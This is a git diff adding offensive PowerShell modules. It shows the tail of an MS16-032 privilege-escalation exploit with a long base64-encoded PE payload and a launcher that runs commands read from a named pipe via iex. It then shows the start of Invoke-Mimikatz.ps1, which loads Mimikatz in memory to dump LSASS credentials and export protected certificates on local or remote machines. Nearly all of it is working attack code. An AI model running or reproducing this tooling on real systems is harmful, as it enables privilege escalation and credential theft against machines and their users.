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pQ6nDqkOqw6tDq8OsQ6zDrUOtw65DrsOvQ6/DoEOww7FD8YPxw/ID8kPyg/LD8wPzQ/OD88P0A/RD9IP0w/UD9UP1g/XD9gP2Q/aD9sP3A/dD94P3w/gD+EP4g/jD+gP6Q/qD+sP7A/tD+4P7w/wD/EP8g/AAAAMAEAVAAAABQwGDAcMCAwODA8MGQ0bDR0NHw0hDSMNJQ0nDSkNKw0tDS8NMQ0zDTUNNw05DTsNPQ0/DQENQw1FDXEPsg+zD7QPqg/rD+wP7Q/AAAAQAEAJAMAAJQznDOkM6wztDO8M8QzzDPUM9wz5DPsM/Qz/DMENAw0FDQcNCQ0LDQ0NDw0RDRMNFQ0XDRkNGw0dDR8NIQ0jDSUNJw0pDSsNLQ0vDTENMw01DTcNOQ07DT0NPw0BDUMNRQ1HDUkNSw1NDU8NUQ1TDVUNVw1ZDVsNXQ1fDWENYw1lDWcNaQ1rDW0Nbw1xDXMNdQ13DXkNew19DX8NQQ2DDYUNhw2JDYsNjQ2PDZENkw2VDZcNmQ2bDZ0Nnw2hDaMNpQ2nDakNqw2tDa8NsQ2zDbUNtw25DbsNvQ2/DYENww3FDccNyQ3LDc0Nzw3RDdMN1Q3XDdkN2w3dDd8N4Q3jDeUN5w3pDesN7Q3vDfEN8w31DfcN+Q37Df0N/w3BDgMOBQ4HDgkOCw4NDg8OEQ4TDhUOFw4ZDhsOHQ4fDiEOIw4lDicOKQ4rDi0OLw4xDjMONQ43DjkOOw49Dj8OAQ5DDkUORw5JDksOTQ5PDlEOUw5VDlcOWQ5bDl0OXw5hDmMOZQ5nDmkOaw5tDm8OcQ5zDnUOdw55DnsOfQ5/DkEOgw6FDocOiQ6LDo0Ojw6RDpMOlQ6XDpkOmw6dDp8OoQ6jDqUOpw6pDqsOrA6uDrAOsg60DrYOuA66DrwOvg6ADsIOxA7GDsgOyg7MDs4O0A7SDtQO1g7YDtoO3A7eDuAO4g7kDuYO6A7qDuwO7g7wDvIO9A72DvgO+g78Dv4OwA8CDwQPBg8IDwoPDA8ODxAPEg8UDxYPGA8aDxwPHg8gDyIPJA8mDygPKg8sDy4PMA8yDzQPNg84DzoPPA8+DwAPQg9ED0YPSA9KD0wPTg9QD1IPVA9WD1gPWg9cD14PYA9iD2QPZg9oD2oPbA9uD3APcg90D3YPeA96D3wPfg9AD4IPhA+GD4gPig+MD44PkA+SD5QPlg+YD5oPnA+eD6APog+kD6YPqA+qD6wPrg+wD7IPtA+2D7gPug+8D74PgA/CD8QPxg/ID8oPzA/OD9AP0g/UD9YP2A/aD9wP3g/gD+IP5A/mD+gP6g/sD+4P8A/yD/QP9g/4D/oP/A/+D8AUAEAfAAAAAAwCDAQMBgwIDAoMDAwODBAMEgwUDBYMGAwaDBwMHgwgDCIMJAwmDCgMKgwsDC4MMAwyDDQMNgw4DDoMPAw+DAAMQgxEDEYMSAxKDEwMTgxQDFIMVAxWDFgMWgxcDF4MYAxiDGQMZgxoDGoMbAxuDHAMcgxAGABANAAAACINIw0kDSUNJg0nDSgNKQ0qDSsNLA0tDS4NLw0wDTENMg0zDTQNNQ02DTcNOA05DToNOw08DT0NPg0/DQANQQ1CDUMNRA1FDUYNRw1IDUkNSg1LDUwNTQ1ODU8NUA1RDVINUw1UDVUNVg1XDVgNWQ1aDVsNXA1dDV4NXw1gDWENYg1jDWQNZQ1mDWcNaA1pDWoNaw1sDW0Nbg1vDXANcQ1yDXMNdA11DXYNdw14DXkNeg17DXwNfQ1+DX8NQA2BDYINgw2EDYAAABwAQAMAQAApDioODA5SDlYOVw5cDl0OYQ5iDmMOZQ5rDm8OcA50DnUOdg54Dn4OQg6DDocOiA6JDooOjA6SDpYOlw6bDpwOnQ6eDqAOpg6qDqsOrw6wDrIOuA68Dr0OgQ7CDsYOxw7IDsoO0A7UDtUO2w7fDuAO4Q7iDucO6A7pDu8O8A72DvoO+w7/DsAPAQ8DDwkPDQ8RDxIPEw8UDxkPGg8bDxwPMg86DzwPPw8BD1IPVw9bD18PYg9kD3UPeg9+D0IPhQ+HD5QPmA+bD50Pqg+uD7APsg+0D7UPtw+8D74Pgw/FD8oPzA/OD9AP0Q/SD9QP2Q/bD90P3w/gD+EP4w/oD/AP+A/AAAAgAEAeAAAAAAwIDA8MEAwXDBgMIAwoDC8MMAw3DDgMPwwADEgMUAxYDGAMYwxqDG0MdAx8DH4MfwxGDIgMiQyPDJAMlwyYDJwMpQyoDKoMtQy2DLgMugy8DL0MvwyEDMwM1AzXDN4M5gzuDPYM/gzGDQ4NFg0AAAAkAEAUAEAABgwIDAQNBQ0VDRcNGQ0bDR0NHw0hDSMNJQ0nDSkNKw0tDS8NMQ0zDTUNNw05DTsNPQ0/DQENQw1FDUcNSQ1LDU0NYQ2iDaMNpA2lDaYNpw2oDakNqg23DooPCw8MDw0PDg8PDxAPEQ8SDxMPFA8VDxYPFw8YDxkPGg8bDxwPHQ8eDx8PIA8hDyIPIw8kDyUPJg8nDygPKQ8qDysPLA8tDy4PLw8wDzEPMg8zDzQPNw84DzkPOg87DzwPPQ8+Dz8PAA9BD0IPQw9ED0UPRg9HD0gPSQ9KD0sPTA9ND04PTw9QD1EPUg9TD1QPVQ9WD1cPWA9ZD1oPWw9cD10PXg9fD2APYQ9iD2MPbQ9xD3UPeQ99D0UPiA+JD4oPiw+cD54Pnw+gD6EPog+jD6QPpQ+mD6cPqg+rD6wPrQ+uD68PsA+xD7MPtA+4D4AoAEAJAAAAOgx7DHwMfQxEDIsMkwybDKMMqQyxDLwMhwzQDMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + + Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes64, $PEBytes32, "Void", 0, "", $ExeArgs) + +} + +Main +} +invoke-ms16-032 "powershell -c `$pi = new-object System.IO.Pipes.NamedPipeClientStream('PoshMS'); `$pi.Connect(); `$pr = new-object System.IO.StreamReader(`$pi); iex `$pr.ReadLine();" +} + +start-job -ScriptBlock $scriptblock diff --git a/Modules/Invoke-Mimikatz.ps1 b/Modules/Invoke-Mimikatz.ps1 new file mode 100644 index 0000000..9d764ce --- /dev/null +++ b/Modules/Invoke-Mimikatz.ps1 @@ -0,0 +1,2836 @@ +function Invoke-Mimikatz +{ +<# +.SYNOPSIS + +This script leverages Mimikatz 2.0 and Invoke-ReflectivePEInjection to reflectively load Mimikatz completely in memory. This allows you to do things such as +dump credentials without ever writing the mimikatz binary to disk. +The script has a ComputerName parameter which allows it to be executed against multiple computers. + +This script should be able to dump credentials from any version of Windows through Windows 8.1 that has PowerShell v2 or higher installed. + +Function: Invoke-Mimikatz +Author: Joe Bialek, Twitter: @JosephBialek +Mimikatz Author: Benjamin DELPY `gentilkiwi`. Blog: http://blog.gentilkiwi.com. Email: benjamin@gentilkiwi.com. Twitter @gentilkiwi +License: http://creativecommons.org/licenses/by/3.0/fr/ +Required Dependencies: Mimikatz (included) +Optional Dependencies: None +Mimikatz version: 2.0 alpha (12/14/2015) + +.DESCRIPTION + +Reflectively loads Mimikatz 2.0 in memory using PowerShell. Can be used to dump credentials without writing anything to disk. Can be used for any +functionality provided with Mimikatz. + +.PARAMETER DumpCreds + +Switch: Use mimikatz to dump credentials out of LSASS. + +.PARAMETER DumpCerts + +Switch: Use mimikatz to export all private certificates (even if they are marked non-exportable). + +.PARAMETER Command + +Supply mimikatz a custom command line. This works exactly the same as running the mimikatz executable like this: mimikatz "privilege::debug exit" as an example. + +.PARAMETER ComputerName + +Optional, an array of computernames to run the script on. + +.EXAMPLE + +Execute mimikatz on the local computer to dump certificates. +Invoke-Mimikatz -DumpCerts + +.EXAMPLE + +Execute mimikatz on two remote computers to dump credentials. +Invoke-Mimikatz -DumpCreds -ComputerName @("computer1", "computer2") + +.EXAMPLE + +Execute mimikatz on a remote computer with the custom command "privilege::debug exit" which simply requests debug privilege and exits +Invoke-Mimikatz -Command "privilege::debug exit" -ComputerName "computer1" + +.NOTES +This script was created by combining the Invoke-ReflectivePEInjection script written by Joe Bialek and the Mimikatz code written by Benjamin DELPY +Find Invoke-ReflectivePEInjection at: https://github.com/clymb3r/PowerShell/tree/master/Invoke-ReflectivePEInjection +Find mimikatz at: http://blog.gentilkiwi.com + +.LINK + +http://clymb3r.wordpress.com/2013/04/09/modifying-mimikatz-to-be-loaded-using-invoke-reflectivedllinjection-ps1/ +#> + +[CmdletBinding(DefaultParameterSetName="DumpCreds")] +Param( + [Parameter(Position = 0)] + [String[]] + $ComputerName, + + [Parameter(ParameterSetName = "DumpCreds", Position = 1)] + [Switch] + $DumpCreds, + + [Parameter(ParameterSetName = "DumpCerts", Position = 1)] + [Switch] + $DumpCerts, + + [Parameter(ParameterSetName = "CustomCommand", Position = 1)] + [String] + $Command +) + +Set-StrictMode -Version 2 + + +$RemoteScriptBlock = { + [CmdletBinding()] + Param( + [Parameter(Position = 0, Mandatory = $true)] + [String] + $PEBytes64, + + [Parameter(Position = 1, Mandatory = $true)] + [String] + $PEBytes32, + + [Parameter(Position = 2, Mandatory = $false)] + [String] + $FuncReturnType, + + [Parameter(Position = 3, Mandatory = $false)] + [Int32] + $ProcId, + + [Parameter(Position = 4, Mandatory = $false)] + [String] + $ProcName, + + [Parameter(Position = 5, Mandatory = $false)] + [String] + $ExeArgs + ) + + ################################### + ########## Win32 Stuff ########## + ################################### + Function Get-Win32Types + { + $Win32Types = New-Object System.Object + + #Define all the structures/enums that will be used + # This article shows you how to do this with reflection: http://www.exploit-monday.com/2012/07/structs-and-enums-using-reflection.html + $Domain = [AppDomain]::CurrentDomain + $DynamicAssembly = New-Object System.Reflection.AssemblyName('DynamicAssembly') + $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynamicAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) + $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('DynamicModule', $false) + $ConstructorInfo = [System.Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0] + + + ############ ENUM ############ + #Enum MachineType + $TypeBuilder = $ModuleBuilder.DefineEnum('MachineType', 'Public', [UInt16]) + $TypeBuilder.DefineLiteral('Native', [UInt16] 0) | Out-Null + $TypeBuilder.DefineLiteral('I386', [UInt16] 0x014c) | Out-Null + $TypeBuilder.DefineLiteral('Itanium', [UInt16] 0x0200) | Out-Null + $TypeBuilder.DefineLiteral('x64', [UInt16] 0x8664) | Out-Null + $MachineType = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name MachineType -Value $MachineType + + #Enum MagicType + $TypeBuilder = $ModuleBuilder.DefineEnum('MagicType', 'Public', [UInt16]) + $TypeBuilder.DefineLiteral('IMAGE_NT_OPTIONAL_HDR32_MAGIC', [UInt16] 0x10b) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_NT_OPTIONAL_HDR64_MAGIC', [UInt16] 0x20b) | Out-Null + $MagicType = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name MagicType -Value $MagicType + + #Enum SubSystemType + $TypeBuilder = $ModuleBuilder.DefineEnum('SubSystemType', 'Public', [UInt16]) + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_UNKNOWN', [UInt16] 0) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_NATIVE', [UInt16] 1) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_GUI', [UInt16] 2) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_CUI', [UInt16] 3) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_POSIX_CUI', [UInt16] 7) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_CE_GUI', [UInt16] 9) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_APPLICATION', [UInt16] 10) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_BOOT_SERVICE_DRIVER', [UInt16] 11) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_RUNTIME_DRIVER', [UInt16] 12) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_ROM', [UInt16] 13) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_XBOX', [UInt16] 14) | Out-Null + $SubSystemType = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name SubSystemType -Value $SubSystemType + + #Enum DllCharacteristicsType + $TypeBuilder = $ModuleBuilder.DefineEnum('DllCharacteristicsType', 'Public', [UInt16]) + $TypeBuilder.DefineLiteral('RES_0', [UInt16] 0x0001) | Out-Null + $TypeBuilder.DefineLiteral('RES_1', [UInt16] 0x0002) | Out-Null + $TypeBuilder.DefineLiteral('RES_2', [UInt16] 0x0004) | Out-Null + $TypeBuilder.DefineLiteral('RES_3', [UInt16] 0x0008) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE', [UInt16] 0x0040) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_FORCE_INTEGRITY', [UInt16] 0x0080) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_NX_COMPAT', [UInt16] 0x0100) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_ISOLATION', [UInt16] 0x0200) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_SEH', [UInt16] 0x0400) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_BIND', [UInt16] 0x0800) | Out-Null + $TypeBuilder.DefineLiteral('RES_4', [UInt16] 0x1000) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_WDM_DRIVER', [UInt16] 0x2000) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE', [UInt16] 0x8000) | Out-Null + $DllCharacteristicsType = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name DllCharacteristicsType -Value $DllCharacteristicsType + + ########### STRUCT ########### + #Struct IMAGE_DATA_DIRECTORY + $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_DATA_DIRECTORY', $Attributes, [System.ValueType], 8) + ($TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public')).SetOffset(0) | Out-Null + ($TypeBuilder.DefineField('Size', [UInt32], 'Public')).SetOffset(4) | Out-Null + $IMAGE_DATA_DIRECTORY = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_DATA_DIRECTORY -Value $IMAGE_DATA_DIRECTORY + + #Struct IMAGE_FILE_HEADER + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_FILE_HEADER', $Attributes, [System.ValueType], 20) + $TypeBuilder.DefineField('Machine', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('NumberOfSections', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('PointerToSymbolTable', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('NumberOfSymbols', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('SizeOfOptionalHeader', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('Characteristics', [UInt16], 'Public') | Out-Null + $IMAGE_FILE_HEADER = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_HEADER -Value $IMAGE_FILE_HEADER + + #Struct IMAGE_OPTIONAL_HEADER64 + $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_OPTIONAL_HEADER64', $Attributes, [System.ValueType], 240) + ($TypeBuilder.DefineField('Magic', $MagicType, 'Public')).SetOffset(0) | Out-Null + ($TypeBuilder.DefineField('MajorLinkerVersion', [Byte], 'Public')).SetOffset(2) | Out-Null + ($TypeBuilder.DefineField('MinorLinkerVersion', [Byte], 'Public')).SetOffset(3) | Out-Null + ($TypeBuilder.DefineField('SizeOfCode', [UInt32], 'Public')).SetOffset(4) | Out-Null + ($TypeBuilder.DefineField('SizeOfInitializedData', [UInt32], 'Public')).SetOffset(8) | Out-Null + ($TypeBuilder.DefineField('SizeOfUninitializedData', [UInt32], 'Public')).SetOffset(12) | Out-Null + ($TypeBuilder.DefineField('AddressOfEntryPoint', [UInt32], 'Public')).SetOffset(16) | Out-Null + ($TypeBuilder.DefineField('BaseOfCode', [UInt32], 'Public')).SetOffset(20) | Out-Null + ($TypeBuilder.DefineField('ImageBase', [UInt64], 'Public')).SetOffset(24) | Out-Null + ($TypeBuilder.DefineField('SectionAlignment', [UInt32], 'Public')).SetOffset(32) | Out-Null + ($TypeBuilder.DefineField('FileAlignment', [UInt32], 'Public')).SetOffset(36) | Out-Null + ($TypeBuilder.DefineField('MajorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(40) | Out-Null + ($TypeBuilder.DefineField('MinorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(42) | Out-Null + ($TypeBuilder.DefineField('MajorImageVersion', [UInt16], 'Public')).SetOffset(44) | Out-Null + ($TypeBuilder.DefineField('MinorImageVersion', [UInt16], 'Public')).SetOffset(46) | Out-Null + ($TypeBuilder.DefineField('MajorSubsystemVersion', [UInt16], 'Public')).SetOffset(48) | Out-Null + ($TypeBuilder.DefineField('MinorSubsystemVersion', [UInt16], 'Public')).SetOffset(50) | Out-Null + ($TypeBuilder.DefineField('Win32VersionValue', [UInt32], 'Public')).SetOffset(52) | Out-Null + ($TypeBuilder.DefineField('SizeOfImage', [UInt32], 'Public')).SetOffset(56) | Out-Null + ($TypeBuilder.DefineField('SizeOfHeaders', [UInt32], 'Public')).SetOffset(60) | Out-Null + ($TypeBuilder.DefineField('CheckSum', [UInt32], 'Public')).SetOffset(64) | Out-Null + ($TypeBuilder.DefineField('Subsystem', $SubSystemType, 'Public')).SetOffset(68) | Out-Null + ($TypeBuilder.DefineField('DllCharacteristics', $DllCharacteristicsType, 'Public')).SetOffset(70) | Out-Null + ($TypeBuilder.DefineField('SizeOfStackReserve', [UInt64], 'Public')).SetOffset(72) | Out-Null + ($TypeBuilder.DefineField('SizeOfStackCommit', [UInt64], 'Public')).SetOffset(80) | Out-Null + ($TypeBuilder.DefineField('SizeOfHeapReserve', [UInt64], 'Public')).SetOffset(88) | Out-Null + ($TypeBuilder.DefineField('SizeOfHeapCommit', [UInt64], 'Public')).SetOffset(96) | Out-Null + ($TypeBuilder.DefineField('LoaderFlags', [UInt32], 'Public')).SetOffset(104) | Out-Null + ($TypeBuilder.DefineField('NumberOfRvaAndSizes', [UInt32], 'Public')).SetOffset(108) | Out-Null + ($TypeBuilder.DefineField('ExportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(112) | Out-Null + ($TypeBuilder.DefineField('ImportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(120) | Out-Null + ($TypeBuilder.DefineField('ResourceTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(128) | Out-Null + ($TypeBuilder.DefineField('ExceptionTable', 